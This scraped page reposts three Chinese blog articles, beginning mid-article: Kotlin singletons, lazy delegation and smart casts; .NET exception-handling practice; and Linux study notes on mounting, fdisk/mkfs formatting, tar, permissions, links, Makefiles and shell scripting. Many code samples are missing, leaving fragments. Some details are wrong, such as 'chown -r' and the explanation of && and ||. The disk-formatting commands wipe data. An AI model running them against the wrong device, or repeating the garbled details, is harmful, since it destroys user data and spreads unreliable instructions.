很简单,在不需要内联的lambda参数前加上noinline修饰符就可以了。 以上便是我对内联函数的全部理解,通过掌握该特性的运行机制,相信大家可以做到在正确的时机使用该特性,而非滥用或因恐惧弃而不用。 Kotlin下单例模式 饿汉式实现 //Java实现 懒汉式 //Java实现 上述代码中,我们可以发现在Kotlin实现中,我们让其主构造函数私有化并自定义了其属性访问器,其余内容大同小异。 如果有小伙伴不清楚Kotlin构造函数的使用方式。请点击 - - - 构造函数 不清楚Kotlin的属性与访问器,请点击 - - -属性和字段 线程安全的懒汉式 //Java实现 大家都知道在使用懒汉式会出现线程安全的问题,需要使用使用同步锁,在Kotlin中,如果你需要将方法声明为同步,需要添加@Synchronized注解。 双重校验锁式 //Java实现 哇!小伙伴们惊喜不,感不感动啊。我们居然几行代码就实现了多行的Java代码。其中我们运用到了Kotlin的延迟属性 Lazy。 Lazy内部实现 public 观察上述代码,因为我们传入的mode = LazyThreadSafetyMode.SYNCHRONIZED, 那么会直接走 SynchronizedLazyImpl,我们继续观察SynchronizedLazyImpl。 Lazy接口 SynchronizedLazyImpl实现了Lazy接口,Lazy具体接口如下: public 继续查看SynchronizedLazyImpl,具体实现如下: SynchronizedLazyImpl内部实现 private 通过上述代码,我们发现 SynchronizedLazyImpl 覆盖了Lazy接口的value属性,并且重新了其属性访问器。其具体逻辑与Java的双重检验是类似的。 到里这里其实大家还是肯定有疑问,我这里只是实例化了SynchronizedLazyImpl对象,并没有进行值的获取,它是怎么拿到高阶函数的返回值呢?。这里又涉及到了委托属性。 委托属性语法是:val/var : by 。在 by 后面的表达式是该 委托, 因为属性对应的 get()(和 set())会被委托给它的 getValue() 和 setValue() 方法。属性的委托不必实现任何的接口,但是需要提供一个 getValue() 函数(和 setValue()——对于 var 属性)。 而Lazy.kt文件中,声明了Lazy接口的getValue扩展函数。故在最终赋值的时候会调用该方法。 internal.InlineOnly 静态内部类式 //Java实现 静态内部类的实现方式,也没有什么好说的。Kotlin与Java实现基本雷同。 补充 在该篇文章结束后,有很多小伙伴咨询,如何在Kotlin版的Double Check,给单例添加一个属性,这里我给大家提供了一个实现的方式。(不好意思,最近才抽出时间来解决这个问题) class SingletonDemo private constructor( 其中关于?:操作符,如果 ?: 左侧表达式非空,就返回其左侧表达式,否则返回右侧表达式。请注意,当且仅当左侧为空时,才会对右侧表达式求值。 Kotlin 智能类型转换 对于子父类之间的类型转换 先看这样一段 Java 代码 public 尽管在 main 函数中,对 person 这个对象进行了类型判断,但是在使用的时候还是需要强制转换成 Student 类型,这样是不是很不智能? 同样的情况在 Kotlin 中就变得简单多了 fun main(args: Array<String>) { 在 Kotlin 中,只要对类型进行了判断,就可以直接通过父类的对象去调用子类的函数了 安全的类型转换 还是上面的那个例子,如果我们没有进行类型判断,并且直接进行强转,会怎么样呢? public static void main(String[] args) { 结果就只能是 Exception in thread "main" java.lang.ClassCastException 那么在 Kotlin 中是不是会有更好的解决方法呢? val person: Person = Person() 在转换操作符后面添加一个 ?,就不会把程序 crash 掉了,当转化失败的时候,就会返回一个 null 在空类型中的智能转换 需要提前了解 Kotlin 类型安全的相关知识(Kotlin 中的类型安全(对空指针的优化处理)) String? = aString 在定义的时候定义成了有可能为 null,按照之前的写法,我们需要这样写 String? = 但是已经进行了是否为 String 类型的判断,所以就一定 不是 空类型了,也就可以直接输出它的长度了 T.()->Unit 、 ()->Unit 在做kotlin开发中,经常看到一些系统函数里,用函数作为参数 public .()-Unit与()->Unit的区别是我们调用时,在代码块里面写this,的时候,两个this代表的含义不一样,T.()->Unit里的this代表的是自身实例,而()->Unit里,this代表的是外部类的实例。 推荐阅读 对 Kotlin 与 Java 编程语言的思考 使用 Kotlin 做开发一个月后的感想 扫一扫 关注我的公众号如果你想要跟大家分享你的文章,欢迎投稿~ 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_39611037/article/details/109984124。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-06-23 23:56:14
472
转载
转载文章
...ace 包含用来确定错误位置的堆栈跟踪(当有调试信息如 PDB 时,这里就会包含源代码文件名和源代码行号) InnerException 包含内部异常信息 Source 这个属性包含导致错误的应用程序或对象的名称 Data 这是一个字典,可以存放基于键值的任意数据,帮助在异常信息中获得更多可以用于调试的数据 HelpLink 这是一个 url,这个 url 里可以提供大量用于说明此异常原因的信息 如果你自己写一个自定义异常类,那么你可以在自定义的异常类中记录更多的信息。然而大多数情况下我们都考虑使用 .NET 中自带的异常类,因此可以充分利用 Exception 类中的已有属性在特殊情况下报告更详细的利于调试的异常信息。 捕捉异常 捕捉异常的基本语法是: try{// 可能引发异常的代码。}catch (FileNotFoundException ex){// 处理一种类型的异常。}catch (IOException ex){// 处理另一种类的异常。} 除此之外,还有 when 关键字用于筛选异常: try{// 可能引发异常的代码。}catch (FileNotFoundException ex) when (Path.GetExtension(ex.FileName) is ".png"){// 处理一种类型的异常,并且此文件扩展名为 .png。}catch (FileNotFoundException ex){// 处理一种类型的异常。} 无论是否有带 when 关键字,都是前面的 catch 块匹配的时候执行匹配的 catch 块而无视后面可能也匹配的 catch 块。 如果 when 块中抛出异常,那么此异常将被忽略,when 中的表达式值视为 false。有个但是,请看:.NET Framework 的 bug?try-catch-when 中如果 when 语句抛出异常,程序将彻底崩溃 - walterlv。 引发异常 引发异常使用 throw 关键字。只是注意如果要重新抛出异常,请使用 throw; 语句或者将原有异常作为内部异常。 创建自定义异常 如果你只是随便在业务上创建一个异常,那么写一个类继承自 Exception 即可: public class MyCustomException : Exception{public string MyCustomProperty { get; }public MyCustomException(string customProperty) => MyCustomProperty = customProperty;} 不过,如果你需要写一些比较通用抽象的异常(用于被继承),或者在底层组件代码中写自定义异常,那么就建议考虑写全异常的所有构造函数,并且加上可序列化: [Serializable]public class InvalidDepartmentException : Exception{public InvalidDepartmentException() : base() { }public InvalidDepartmentException(string message) : base(message) { }public InvalidDepartmentException(string message, Exception innerException) : base(message, innerException) { }// 如果异常需要跨应用程序域、跨进程或者跨计算机抛出,就需要能被序列化。protected InvalidDepartmentException(SerializationInfo info, StreamingContext context) : base(info, context) { } } 在创建自定义异常的时候,建议: 名称以 Exception 结尾 Message 属性的值是一个句子,用于描述异常发生的原因。 提供帮助诊断错误的属性。 尽量写全四个构造函数,前三个方便使用,最后一个用于序列化异常(新的异常类应可序列化)。 finally 异常堆栈跟踪 堆栈跟踪从引发异常的语句开始,到捕获异常的 catch 语句结束。 利用这一点,你可以迅速找到引发异常的那个方法,也能找到是哪个方法中的 catch 捕捉到的这个异常。 异常处理原则 try-catch-finally 我们第一个要了解的异常处理原则是——明确 try catch finally 的用途! try 块中,编写可能会发生异常的代码。 最好的情况是,你只将可能会发生异常的代码放到 try 块中,当然实际应用的时候可能会需要额外放入一些相关代码。但是如果你将多个可能发生异常的代码放到一个 try 块中,那么将来定位问题的时候你就会很抓狂(尤其是多个异常还是一个类别的时候)。 catch 块的作用是用来 “恢复错误” 的,是用来 “恢复错误” 的,是用来 “恢复错误” 的。 如果你在 try 块中先更改了类的状态,随后出了异常,那么最好能将状态改回来——这可以避免这个类型或者应用程序的其他状态出现不一致——这很容易造成应用程序“雪崩”。举一个例子:我们写一个程序有简洁模式和专业模式,在从简洁模式切换到专业模式的时候,我们设置 IsProfessionalMode 为 true,但随后出现了异常导致没有成功切换为专业模式;然而接下来所有的代码在执行时都判断 IsProfessionalMode 为 true 状态不正确,于是执行了一些非预期的操作,甚至可能用到了很多专业模式中才会初始化的类型实例(然而没有完成初始化),产生大量的额外异常;我们说程序雪崩了,多数功能再也无法正常使用了。 当然如果任务已全部完成,仅仅在对外通知的时候出现了异常,那么这个时候不需要恢复状态,因为实际上已经完成了任务。 你可能会有些担心如果我没有任何手段可以恢复错误怎么办?那这个时候就不要处理异常!——如果不知道如何恢复错误,请不要处理异常!让异常交给更上一层的模块处理,或者交给整个应用程序全局异常处理模块进行统一处理(这个后面会讲到)。 另外,异常不能用于在正常执行过程中更改程序的流程。异常只能用于报告和处理错误条件。 finally 块的作用是清理资源。 虽然 .NET 的垃圾回收机制可以在回收类型实例的时候帮助我们回收托管资源(例如 FileStream 类打开的文件),但那个时机不可控。因此我们需要在 finally 块中确保资源可被回收,这样当重新使用这个文件的时候能够立刻使用而不会被占用。 一段异常处理代码中可能没有 catch 块而有 finally 块,这个时候的重点是清理资源,通常也不知道如何正确处理这个错误。 一段异常处理代码中也可能 try 块留空,而只在 finally 里面写代码,这是为了“线程终止”安全考虑。在 .NET Core 中由于不支持线程终止因此可以不用这么写。详情可以参考:.NET/C 异常处理:写一个空的 try 块代码,而把重要代码写到 finally 中(Constrained Execution Regions) - walterlv。 该不该引发异常? 什么情况下该引发异常?答案是——这真的是一个异常情况! 于是,我们可能需要知道什么是“异常情况”。 一个可以参考的判断方法是——判断这件事发生的频率: 如果这件事并不常见,当它发生时确实代表发生了一个错误,那么这件事情就可以认为是异常。 如果这件事经常发生,代码中正常情况就应该处理这件事情,那么这件事情就不应该被认为是异常(而是正常流程的一部分)。 例如这些情况都应该认为是异常: 方法中某个参数不应该传入 null 时但传入了 null 这是开发者使用这个方法时没有遵循此方法的契约导致的,让开发者改变调用此方法的代码就可以完全避免这件事情发生 而下面这些情况则不应该认为是异常: 用户输入了一串字符,你需要将这串字符转换为数字 用户输入的内容本身就千奇百怪,出现非数字的输入再正常不过了,对非数字的处理本就应该成为正常流程的一部分 对于这些不应该认为是异常的情况,编写的代码就应该尽可能避免异常。 有两种方法来避免异常: 先判断再使用。 例如读取文件之前,先判断文件是否存在;例如读取文件流时先判断是否已到达文件末尾。 如果提前判断的成本过高,可采用 TryDo 模式来完成,例如字符串转数字中的 TryParse 方法,字典中的 TryGetValue 方法。 对极为常见的错误案例返回 null(或默认值),而不是引发异常。极其常见的错误案例可被视为常规控制流。通过在这些情况下返回 NULL(或默认值),可最大程度地减小对应用的性能产生的影响。(后面会专门说 null) 而当存在下列一种或多种情况时,应引发异常: 方法无法完成其定义的功能。 根据对象的状态,对某个对象进行不适当的调用。 请勿有意从自己的源代码中引发 System.Exception、System.SystemException、System.NullReferenceException 或 System.IndexOutOfRangeException。 该不该捕获异常? 在前面 try-catch-finally 小节中,我们提到了 catch 块中应该写哪些代码,那里其实已经说明了哪些情况下应该处理异常,哪些情况下不应该处理异常。一句总结性的话是——如果知道如何从错误中恢复,那么就捕获并处理异常,否则交给更上层的业务去捕获异常;如果所有层都不知道如何处理异常,就交给全局异常处理模块进行处理。 应用程序全局处理异常 对于 .NET 程序,无论是 .NET Framework 还是 .NET Core,都有下面这三个可以全局处理的异常。这三个都是事件,可以自行监听。 AppDomain.UnhandledException 应用程序域未处理的异常,任何线程中未处理掉的异常都会进入此事件中 当这里能够收到事件,意味着应用程序现在频临崩溃的边缘(从设计上讲,都到这里了,也再没有任何代码能够使得程序从错误中恢复了) 不过也可以配置 legacyUnhandledExceptionPolicy 防止后台线程抛出的异常让程序崩溃退出 建议在这个事件中记录崩溃日志,然后对应用程序进行最后的拯救恢复操作(例如保存用户的文档数据) AppDomain.FirstChanceException 应用程序域中的第一次机会异常 我们前面说过,一个异常被捕获时,其堆栈信息将包含从 throw 块到 catch 块之间的所有帧,而在第一次机会异常事件中,只是刚刚 throw 出来,还没有被任何 catch 块捕捉,因此在这个事件中堆栈信息永远只会包含一帧(不过可以稍微变通一下在第一次机会异常 FirstChanceException 中获取比较完整的异常堆栈) 注意第一次机会异常事件即便异常会被 catch 也会引发,因为它引发在 catch 之前 不要认为异常已经被 catch 就万事大吉可以无视这个事件了。前面我们说过异常仅在真的是异常的情况才应该引发,因此如果这个事件中引发了异常,通常也真的意味着发生了错误(差别只是我们能否从错误中恢复而已)。如果你经常在正常的操作中发现可以通过此事件监听到第一次机会异常,那么一定是应用程序或框架中的异常设计出了问题(可能把正常应该处理的流程当作了异常,可能内部实现代码错误,可能出现了使用错误),这种情况一定是要改代码修 Bug 的。而一些被认为是异常的情况下收到此事件则是正常的。 TaskScheduler.UnobservedTaskException 在使用 async / await 关键字编写异步代码的时候,如果一直有 await 传递,那么异常始终可以被处理到;但中间有异步任务没有 await 导致异常没有被传递的时候,就会引发此事件。 如果在此事件中监听到异常,通常意味着代码中出现了不正确的 async / await 的使用(要么应该修改实现避免异常,要么应该正确处理异常并从中恢复错误) 对于 GUI 应用程序,还可以监听 UI 线程上专属的全局异常: WPF:Application.DispatcherUnhandledException 或者 Dispatcher.UnhandledException Windows Forms:Application.ThreadException 关于这些全局异常的处理方式和示例代码,可以参阅博客: WPF UnhandledException - Iron 的博客 - CSDN博客 抛出哪些异常? 任何情况下都不应该抛出这些异常: 过于抽象,以至于无法表明其含义 Exception 这可是顶级基类,这都抛出来了,使用者再也无法正确地处理此异常了 SystemException 这是各种异常的基类,本身并没有明确的意义 ApplicationException 这是各种异常的基类,本身并没有明确的意义 由 CLR 引发的异常 NullReferenceException 试图在空引用上执行某些方法,除了告诉实现者出现了意料之外的 null 之外,没有什么其它价值了 IndexOutOfRangeException 使用索引的时候超出了边界 InvalidCastException 表示试图对某个类型进行强转但类型不匹配 StackOverflow 表示栈溢出,这通常说明实现代码的时候写了不正确的显式或隐式的递归 OutOfMemoryException 表示托管堆中已无法分出期望的内存空间,或程序已经没有更多内存可用了 AccessViolationException 这说明使用非托管内存时发生了错误 BadImageFormatException 这说明了加载的 dll 并不是期望中的托管 dll TypeLoadException 表示类型初始化的时候发生了错误 .NET 设计失误 FormatException 因为当它抛出来时无法准确描述到底什么错了 首先是你自己不应该抛出这样的异常。其次,你如果在运行中捕获到了上面这些异常,那么代码一定是写得有问题。 如果是捕获到了上面 CLR 的异常,那么有两种可能: 你的代码编写错误(例如本该判空的代码没有判空,又如索引数组超出界限) 你使用到的别人写的代码编写错误(那你就需要找到它改正,或者如果开源就去开源社区中修复吧) 而一旦捕获到了上面其他种类的异常,那就找到抛这个异常的人,然后对它一帧狂扁即可。 其他的异常则是可以抛出的,只要你可以准确地表明错误原因。 另外,尽量不要考虑抛出聚合异常 AggregateException,而是优先使用 ExceptionDispatchInfo 抛出其内部异常。详见:使用 ExceptionDispatchInfo 捕捉并重新抛出异常 - walterlv。 异常的分类 在 该不该引发异常 小节中我们说到一个异常会被引发,是因为某个方法声称的任务没有成功完成(失败),而失败的原因有四种: 方法的使用者用错了(没有按照方法的契约使用) 方法的执行代码写错了 方法执行时所在的环境不符合预期 简单说来,就是:使用错误,实现错误、环境错误。 使用错误: ArgumentException 表示参数使用错了 ArgumentNullException 表示参数不应该传入 null ArgumentOutOfRangeException 表示参数中的序号超出了范围 InvalidEnumArgumentException 表示参数中的枚举值不正确 InvalidOperationException 表示当前状态下不允许进行此操作(也就是说存在着允许进行此操作的另一种状态) ObjectDisposedException 表示对象已经 Dispose 过了,不能再使用了 NotSupportedException 表示不支持进行此操作(这是在说不要再试图对这种类型的对象调用此方法了,不支持) PlatformNotSupportedException 表示在此平台下不支持(如果程序跨平台的话) NotImplementedException 表示此功能尚在开发中,暂时请勿使用 实现错误: 前面由 CLR 抛出的异常代码主要都是实现错误 NullReferenceException 试图在空引用上执行某些方法,除了告诉实现者出现了意料之外的 null 之外,没有什么其它价值了 IndexOutOfRangeException 使用索引的时候超出了边界 InvalidCastException 表示试图对某个类型进行强转但类型不匹配 StackOverflow 表示栈溢出,这通常说明实现代码的时候写了不正确的显式或隐式的递归 OutOfMemoryException 表示托管堆中已无法分出期望的内存空间,或程序已经没有更多内存可用了 AccessViolationException 这说明使用非托管内存时发生了错误 BadImageFormatException 这说明了加载的 dll 并不是期望中的托管 dll TypeLoadException 表示类型初始化的时候发生了错误 环境错误: IOException 下的各种子类 Win32Exception 下的各种子类 …… 另外,还剩下一些不应该抛出的异常,例如过于抽象的异常和已经过时的异常,这在前面一小结中有说明。 其他 一些常见异常的原因和解决方法 在平时的开发当中,你可能会遇到这样一些异常,它不像是自己代码中抛出的那些常见的异常,但也不包含我们自己的异常堆栈。 这里介绍一些常见这些异常的原因和解决办法。 AccessViolationException 当出现此异常时,说明非托管内存中发生了错误。如果要解决问题,需要从非托管代码中着手调查。 这个异常是访问了不允许的内存时引发的。在原因上会类似于托管中的 NullReferenceException。 参考资料 Handling and throwing exceptions in .NET - Microsoft Docs Exceptions and Exception Handling - C Programming Guide - Microsoft Docs 我的博客会首发于 https://blog.walterlv.com/,而 CSDN 会从其中精选发布,但是一旦发布了就很少更新。 如果在博客看到有任何不懂的内容,欢迎交流。我搭建了 dotnet 职业技术学院 欢迎大家加入。 本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。欢迎转载、使用、重新发布,但务必保留文章署名吕毅(包含链接:https://walterlv.blog.csdn.net/),不得用于商业目的,基于本文修改后的作品务必以相同的许可发布。如有任何疑问,请与我联系。 本篇文章为转载内容。原文链接:https://blog.csdn.net/WPwalter/article/details/94610764。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-04-13 13:38:26
60
转载
转载文章
...p:进程实时运行状态查询 file 文件名:查看文件类型 ubuntu的fs cd / :根目录,一切都是从根目录发散开来的 /bin:存放二进制可执行文件,比如一些命令 /boot:ubuntu的内核与启动文件 /cdrom:有光盘是存放光盘文件 /dev:存放设备驱动文件 /etc:存放配置文件,如账号和密码文件(加密后的) /home:系统默认的用户主文件夹 /lib:存放库文件 /lib64:存放库文件,. so时linux下面的动态库文件 /media:存放可插拔设备,如sd,u盘就是挂载到这个文件下面 /mnt:用户可使用的挂载点,和media类似,可以手动让可插拔设备挂载到/mnt /opt:可选的文件和程序存放目录,给第三方软件放置的目录 /proc:存放系统的运行信息,实在内存上的不是在flash上,如cat /proc/cpuinfo /root:系统管理员目录,root用户才能访问的文件 /sbin:和bin类似,存放一些二进制可执行文件,sbin下面一般是系统开机过程中所需要的命令 /srv:服务相关的目录,如网络服务 /sys:记录内核信息,是虚拟文件系统 /tmp:临时目录 /usr:不是user的缩写,而是UNIX Software Resource的缩写,存放系统用户有关的文件,占很大空间 /var:存放变化的文件,如日志文件 – 移植就是移植上面这些文件 磁盘管理 linux开发一定要选用FAT32格式的U盘或者SD卡 u盘在/dev中的名字是sd,要确定是哪个,拔了看少了哪个。就是哪个 /dev/sdb表示U盘,/dev/sdb1表示U盘的第一个分区,一般U盘 sd卡只有一个分区 df:显示linux系统的磁盘占用情况 在一个目录里使用du -sh:查看这个目录里面所有内容所占用的资源 du 文件名 -sh:一般用来看单个文件/目录的大小 du -h --max-depth=n:显示n级目录的大小 – 磁盘的挂载与取消挂载: mount 和 umount sudo mount /dev/sdb1 /media/jl/udisk sudo umount /media/jl/u盘名 (-f 强制取消挂载),如果u盘正在使用,如被另一个终端打开,那么该指令无效 mount挂载后中文显示乱码的解决方法 sudo mount -o iocharset=utf8 /dev/sdb1 udisk – 磁盘的分区和格式化 sudo fdisk -l /dev/sdb 查看所有分区信息(–help查看别的用法) sudo fdisk /dev/sdb1 ----> m ( 进入帮助 ) ----> d 删除该分区 ----> wq 保存并退出 mkfs -t vfat /dev/sdb1 mkfs -t vfat /dev/sdb2 mkfs -t vfat /dev/sdb3 给分区1,2,3分别格式化,完成后能在图形界面看见三个u盘图标 格式化u盘之前一定要先卸载u盘已经挂载的系统。 – 压缩和解压缩 linux下常用的压缩扩展名: .tar .tar.bz2 .tar.gz 后两个linux常用 windows下面用7zip软件 右键选中文件,选择7zip,添加到压缩包,压缩格式选择tar,仅存储 生成tar文件,这里只是打包,没有压缩 右键上面的tar文件,选择7zip,添加到压缩包,压缩格式选择bzip2,确定 生成.tar.bz2文件,把它放到ubuntu解压 ubuntu也支持解压.tar和.zip,但后面两个常用 – ubuntu下面的压缩工具时gzip 压缩文件 gzip 文件名:压缩文件,变成 原文件名.gz,原来的文件就不见了 解压缩文件 gzip -d .gz:还原 文件 gzip -r 目录:递归,将该目录里的各个文件压缩,不提供打包服务 – bzip2工具负责压缩和解压缩.bz2格式的压缩包 bzip2 -z 文件名,压缩成 文件名.bz2 bzip2 -d 文件名.bz2,解压缩成 文件名 bzip2不能压缩/解压缩 目录 – 打包工具 tar 常用参数 -f:使用归档文件(必须要在所有选项后面) -c:创建一个新归档 -x:从归档中解出文件 -j:使用bzip2压缩格式 -z:使用gzip压缩格式 -v:打印出命令执行过程 如以bzip2格式压缩,打包 tar -vcjf 目录名.tar.bz2 目录名 如将上面的压缩包解包 tar -vxjf 目录名.tar.bz2 – 其他压缩工具 rar工具 sudo apt-get install rar(用dhcp连不上阿里云的镜像) rar a test.rar test 把test压缩成test.rar rar x test.rar 把test.rar解压缩成test – zip工具 压缩 zip -rv test.zip test 解压缩 unzip test.zip – ubuntu的用户和用户组 linux是多用户的os,不同的用户有不同的权限,可以查看和操作不同的文件 有三种用户 1、初次用户 2、root用户 3、普通用户 root用户可以创建普通用户 linux用户记录在/etc/passwd这个文件内 linux用户密码记录在/etc/shadow这个文件内,不是以明文记录的 每个用户都有一个id,叫做UID – linux用户组 为了方便管理,将用户进行分组,每个用户可以属于多个组 可以设置非本组人员不能访问一些文件 用户和用户组的存在就是为了控制文件的访问权限的 每个用户组都有一个ID,叫做GID 用户组信息存储在/etc/group中 passwd 用户名:修改该用户的密码 – ubuntu文件权限 ls -al 文件名 如以b开头: -brwx - rwx - rwx -:b表示 块文件,设备文件里面可供存储的周边设备 以d开头是目录 以b是块设备文件 以-开头是普通文件 以 l 开头表示软连接文件 以c开头是设备文件里的串行端口设备 -rwx - rwx - rwx -:用户权限,用户组内其他成员,其它组用户 数字 1 表示链接数,包括软链接和硬链接 第三列 jl 表示文件的拥有者 第四列 jl 表示文件的用户组 第五列 3517 表示这个文件的大小,单位是字节 ls -l 显示的文件大小单位是字节 ls -lh 现实的文件大小单位是 M / G 第六七八列是最近修改时间 最后一列是文件名 – 修改文件权限命令 chmod 777 文件名 修改文件所属用户 sudo chown root 文件 修改文件用户组 sudo chown .root 文件 同时修改文件用户和用户组 sudo chown jl.jl 文件 修改目录的用户/用户组 sudo chown -r jl.jl 目录( root.root ) – linux连接文件 1、硬连接 2、符号连接(软连接) linux有两种连接文件,软连接/符号连接,硬连接 符号连接类似于windows下面的快捷方式 硬连接通过文件系统的inode连接来产生新文件名,而不是产生新文件 inode:记录文件属性,一个文件对应一个inode, inode相当于文件ID 查找文件要先找到inode,然后才能读到文件内容 – ln 命令用于创建连接文件 ln 【选项】源文件 目标文件 不加选项就是默认创建硬连接 -s 创建软连接 -f 强制创建连接文件,如果目标存在,就先删掉目标文件,再创建连接文件 – 硬连接:多个文件都指向同一个inode 具有向inode的多个文件互为硬连接文件,创建硬连接相当于文件实体多了入口 只有删除了源文件、和它所有的硬连接文件,晚间实体才会被删除 可以给文件创建硬连接来防止文件误删除 改了源文件还是硬连接文件,另一个文件的数据都会被改变 硬连接不能跨文件系统(另一个格式的u盘中的文件) 硬连接不能连接到目录 出于以上原因,硬连接不常用 ls -li:此时第一列显示的就是每个文件的inode – 软连接/符号连接 类似windows下面的快捷方式 使用较多 软连接相当于串联里一个独立的文件,该文件会让数据读取指向它连接的文件 ln -s 源文件 目标文件 特点: 可以连接到目录 可以跨文件系统 删除源文件,软连接文件也打不开了 软连接文件通过 “ -> ” 来指示具体的连接文件(ls -l) 创建软连接的时候,源文件一定要使用绝对路径给出,(硬连接无此要求) 软连接文件直接用cp复制到别的目录下,软连接文件就会变成实体文件,就算你把源文件删掉,该文件还是有效 正确的复制、移动软连接的用法是:cp -d 如果不用绝对路径,cp -d 软连接文件到别的目录,该软连接文件就会变红,失效 如果用了绝对路径,cp -d 软连接文件到别的目录,该软连接文件还是有效的,还是软连接文件 不用绝对路径,一拷贝就会出问题 – 软连接一个目录,也是可以用cp -d复制到其他位置的 – gedit 是基于图形界面的 vim有三种模式: 1、一般模式:默认模式,用vim打开一个文件就自动进入这个模式 2、编辑模式:按 i,a等进入,按esc回到一般模式 3、命令行/底行模式:在一般模式下输入:/ ?可进入命令行模式 ,按esc回到一般模式 一般模式下,dd删除光标所在的一整行; ndd,删除掉光标所在行和下面的一共n行 点 . 重复上一个操作 yy复制光标所在行 小p复制到光标下一行 大p复制到光标上一行n nyy复制光标所在往下n行 设置vim里的tab是四个空格:在/etc/vim/vimrc里面添加:set ts=4 设置vim中显示行号:在上面那个文件里添加:set nu – vscode是编辑器 gcc能编译汇编,c,cpp 电脑上的ubuntu自带的gcc用来编译x86架构的程序,而嵌入式设备的code要用针对于该芯片架构如arm的gcc编译器,又叫做交叉编译器(在一种架构的电脑上编译成另一种架构的代码) gcc -c 源文件:只编译不链接,编译成.o文件 -o 输出文件名( 默认名是 .out ) -O 对程序进行优化编译,这样产生的可执行文件执行效率更高 -O2:比-O幅度更大的优化,但编译速度会很慢 -v:显示编译的过程 gcc main.c 输出main.out的可执行文件 预处理 --> 编译 --> 汇编 --> 链接 – makefile里第一个目标默认是终极目标 其他目标的顺序可以变 makefile中的变量都是字符串 变量的引用方法 : $ ( 变量名 ) – Makefile中执行shell命令默认会把命令本身打印出来 如果在shell命令前加 @ ,那么shell’命令本身就不会被打印 – 赋值符:= 变量的有效值取决于他最后一次被赋值的值 : = 赋值时右边的值只是用前面已经定义好的,不会使用后面的 ?= 如果左边的前面没有被赋值,那么在这里赋值,佛则就用前面的赋值 + = 左边前面已经复制了一些字串,在这里添加右边的内容,用空格隔开 – 模式规则 % . o : % . c %在这里意思是通配符,只能用于模式规则 依赖中 % 的内容取决于目标 % 的内容 – CFLAGS:指定头文件的位置 LDFLAGS:用于优化参数,指定库文件的位置 LIBS:告诉链接器要链接哪些库文件 VPATH:特殊变量,指定源文件的位置,冒号隔开,按序查找源文件 vpath:关键字,三种模式,指定、清除 – 自动化变量 $ @ 规则中的目标集合 $ % 当目标是函数库的时候,表示规则中的目标成员名 $ < 依赖文件集合中的第一个文件,如果依赖文件是以 % 定义的,那么 $ < 就是符合模式的一系列文件的集合 $ ? 所有比目标新的依赖文件的集合,以空格分开 $ ^ 所有依赖文件的集合,用空格分开,如果有重复的依赖文件,只保留一次 $ + 和 $ ^ 类似,但有多少重复文件都会保留 $ 表明目标模式中 % 及其以前的部分 如果目标是 test/a.test.c,目标模式是 a.%.c,那么 $ 就表示 test/a.test – 常用的是 $@ , $< , $^ – Makefile的伪目标 不生成目标文件,只是执行它下面的命令 如果被错认为是文件,由于伪目标一般没有依赖,那么目标就被认为是最新的,那么它下面的命令就不会执行 。 如果目录下有同名文件,伪目标错认为是该文件,由于没有依赖,伪目标下面的指令不会被执行 伪目标声明方法 .PHONY : clean 那么就算目录下有伪目标同名文件,伪目标也同样会执行 – 条件判断 ifeq ifneq ifdef ifndef – makefile函数使用 shell脚本 类似于windoes的批处理文件 将连续执行的命令写成一个文件 shell脚本可以提供数组,循环,条件判断等功能 开头必须是:!/bin/bash 表示使用bash 脚本的扩展名:.sh – 交互式shell 有输入有输出 输入:read 第三行 name在这里作为变量,read输入这个变量 下一行使用这个变量直接是 $name,不用像 Makefile 里面那样子加括号 read -p “读取前你想打印的内容” 变量1 变量2 变量3… – 数值计算 第五行等于号两边不能有空格 右边计算的时候是 $( ( ) ),注意要两个括号 – test 测试命令 文件状态查询,字符、数字比较 && cmd1 && cmd2 当cmd1执行完并且正确,那么cmd2也执行 当cmd2执行完并且错误,那么cmd2不执行 || cmd1 || cmd2 当cmd1执行完并且正确,那么cmd2不执行 当cmd2执行完并且错误,那么cmd2也执行 查看一个文件是否存在 – 测试两个字符串是否相等 ==两边必须要有空格,如果不加空格,test这句就一直是对的。 – 中括号判断符 [ ] 作用和test类似 里面只能输入 == 或者 != 四个箭头所指必须用空格隔开 而且如果变量是字符串的话,一定要加双引号 – 默认变量 $0——shell脚本本身的命令 $——最后一个参数的标号(1,2,3,4…) $@——表示 $1 , $2 , $3 … $1 $2 $3 – shell 脚本的条件判断 if [ 条件判断 ];then //do something fi 红点处都要加空格 exit 0——表示退出 – if 条件判断;then //do something elif 条件判断;them //do something else //do something fi 红线处要加空格 – case 语句 case $var in “第一个变量的内容”) //do something ;; “第二个变量的内容”) // do something ;; . . . “第n个变量的内容”) //do something ;; esac 不能用 “”,否则就不是通配符的意思,而是表示字符 – shell 脚本函数 function fname(){ //函数代码段 } 其中function可以写也可以不写 调用函数的时候不要加括号 shell 脚本函数传参方式 – shell 循环 while[条件] //括号内的状态是判断式 do //循环代码段 done – until [条件] do //循环代码段 done – for循环,使用该循环可以知道有循环次数 for var con1 con2 con3 … … do //循环代码段 done – for 循环数值处理 for((初始值;限制值;执行步长)) do //循环代码段 done – 红点处必须要加空格!! loop 环 – – 注意变量有的地方用了 $ ,有的地方不需要 $ 这里的赋值号两边都不用加 空格 $(())数值运算 本篇文章为转载内容。原文链接:https://blog.csdn.net/engineer0/article/details/107965908。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-23 17:18:30
80
转载
转载文章
